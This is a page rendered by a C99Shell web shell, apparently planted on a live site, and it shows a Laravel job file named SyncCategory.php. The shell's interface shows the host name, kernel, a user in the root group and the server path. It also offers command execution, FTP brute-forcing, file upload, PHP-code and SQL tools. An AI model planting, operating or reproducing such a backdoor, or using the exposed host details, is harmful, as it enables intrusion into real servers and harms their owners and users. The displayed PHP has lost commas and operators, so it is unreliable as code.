!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/game.picotech.app/public_html/core/app/Jobs/   drwxr-xr-x
Free 26.27 GB of 117.98 GB (22.27%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SyncCategory.php (2.17 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Jobs;

use 
App\Models\Category;
use 
Illuminate\Bus\Queueable;
use 
Illuminate\Contracts\Queue\ShouldQueue;
use 
Illuminate\Foundation\Bus\Dispatchable;
use 
Illuminate\Queue\InteractsWithQueue;
use 
Illuminate\Queue\SerializesModels;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Facades\Log;
use 
Illuminate\Support\Str;

class 
SyncCategory implements ShouldQueue
{
    use 
DispatchableInteractsWithQueueQueueableSerializesModels;

    public 
$timeout=60 3;
    private 
$response;
    
/**
     * Create a new job instance.
     *
     * @return void
     */

    
public function __construct($response_data)
    {
        
$this->response $response_data;

    }

    
/**
     * Execute the job.
     *
     * @return void
     */
    
public function handle()
    {

        try {
            
$category $this->response;

            if(
$category) {


                    
Category::updateOrCreate(
                    
// First parameter: Attributes to find the record
                        
[
                            
'name' => $category->name,
                            
'country_code' => $category->country_code
                        
],
                        
// Second parameter: Values to update or create
                        
[
                            
'name' => $category->name,
                            
'slug' => Str::slug($category->name'-'),
                            
'code' => $category->code,
                            
'status' => $category->check_id,
                            
'country_code' => $category->country_code,
                            
'is_feature' => 1,
                            
'meta_keywords' => $category->name,
                            
'variant' => $category->variant,
                            
'forms' => json_encode($category->forms),
                            
'servers' => json_encode($category->servers),
                            
'meta_descriptions' => $category->name,
                        ]
                    );
            }

        }catch(
\Exception $e){
            
Log::error($e->getMessage());
        }


    }

    public function 
failed($exception)
    {
        
Log::info($exception);

    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--